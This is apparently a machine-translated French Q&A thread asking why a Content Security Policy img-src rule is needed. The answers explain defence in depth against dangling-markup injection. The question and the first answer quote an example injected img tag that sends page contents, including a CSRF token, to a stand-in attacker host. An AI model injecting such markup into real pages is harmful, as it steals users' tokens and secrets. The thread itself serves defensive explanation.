web-dev-qa-db-fra.com

Pourquoi le CSP est-il nécessaire pour se protéger contre les fuites img-src?

GitHub explique le problème avec img-src in "Parcours post-CSP de GitHub" :

Une balise avec une citation non fermée capturera toutes les sorties jusqu'à la prochaine citation correspondante. Cela pourrait inclure du contenu sensible à la sécurité sur les pages, comme:

<img src='https://some-evil-site.com/log_csrf?html= <formaction="https://github.com/account/public_keys/19023812091023"> ...<input type="hidden" name="csrf_token" value="some_csrf_token_value"></form>

L'élément d'image résultant enverra une demande à https://some_evilsite.com/log_csrf?html=...some_csrf_token_value .... Par conséquent, un attaquant peut exploiter cette attaque de balisage pendant pour exfiltrer Jetons CSRF vers un site de leur choix.

En quoi cela diffère-t-il d'appuyer sur page-source sur la page et d'envoyer le contenu manuellement? Si c'est uniquement pour les pages où les utilisateurs peuvent insérer une entrée, ne devons-nous pas empêcher uniquement ces problèmes avec les entrées en ajoutant des validations à l'entrée? Ne pas empêcher img src d'autres sources dans tout le code?

16
griffon vulture

Juste pour être clair sur le fonctionnement de l'attaque:

  • Un site vous permet de saisir du texte qui sera ensuite affiché quelque part. Il ne filtre pas correctement le HTML.
  • Mallory entre <img src='https://some-evil-site.com/log_csrf?html=, et envoie un lien vers la page à Alice.
  • Alice affiche la page et le reste de la page avec le contenu secret d'Alice est envoyé à some-evil-site.com que Mallory contrôle.

En quoi diffère-t-il d'appuyer sur page-source sur la page et d'envoyer le contenu manuellement.

Vous visualisez la source sur votre ordinateur, générée avec vos informations d'identification, afin qu'elle ne contienne rien de secret pour vous. Le point de l'attaque discuté dans le billet de blog est de "voler" la source à quelqu'un d'autre (en injectant du HTML) afin que vous puissiez lire leurs secrets.

S'il s'agit uniquement de pages où les utilisateurs peuvent insérer une entrée, ne devons-nous pas empêcher uniquement ces problèmes sur les entrées en ajoutant des validations à l'entrée?

Oui, nous devons le faire même si nous implémentons un CSP. Mais les humains sont des créatures faillibles et nous pourrions faire des erreurs. Avoir un CSP qui arrête ce type d'attaque pourrait donc être une bonne défense en profondeur.

Ne pas empêcher img src d'autres sources dans tout le code?

Si vous ne souhaitez pas autoriser les images provenant de domaines arbitraires, il peut être judicieux de mettre en liste blanche les domaines dont vous souhaitez autoriser les images et de bloquer tout le reste. Encore une fois, vous devriez avoir d'autres types de protections contre cela, mais cela ne fait jamais de mal d'avoir une sauvegarde.

27
Anders

Si un utilisateur appuie sur "Afficher la source" et envoie les données manuellement, c'est son choix, et rien que le site fait ne l'empêchera. Cependant, les configurations CSP font généralement partie d'une stratégie de défense en profondeur - elles empêchent les mauvaises choses de se produire, même en cas de problème.

Dans ce cas, ils tenteront d'éliminer toutes les erreurs de validation d'entrée, mais il est vraiment facile de faire une erreur ou de rater un cas Edge, en particulier lorsque vous souhaitez autoriser le contenu utilisateur. Si cela fonctionne, les règles CSP ne seront jamais appliquées. S'ils font une erreur, les restrictions CSP commencent alors à s'appliquer.

Cette règle spécifique vise à empêcher un utilisateur malveillant de pouvoir inclure du contenu susceptible d'exfiltrer des données sur une page consultée par un utilisateur légitime. En d'autres termes, s'ils peuvent mettre une balise sur une page consultée par d'autres, ils pourront obtenir des jetons CSRF spécifiques à l'utilisateur, des jetons de session ou des détails personnels. Avec la règle CSP en place, cependant, le navigateur de l'utilisateur légitime sait que seuls les domaines spécifiés doivent être utilisés pour les images, et n'essaiera même pas de les charger à partir d'un autre domaine.

C'est un peu comme avoir une alarme dans votre maison, même lorsque vous verrouillez les portes et les fenêtres. Si les serrures sont parfaites, vous ne devriez jamais en avoir besoin, mais parfois les gens font une erreur et oublient de verrouiller une fenêtre en sortant, auquel cas, l'alarme aide à minimiser les dommages.

12
Matthew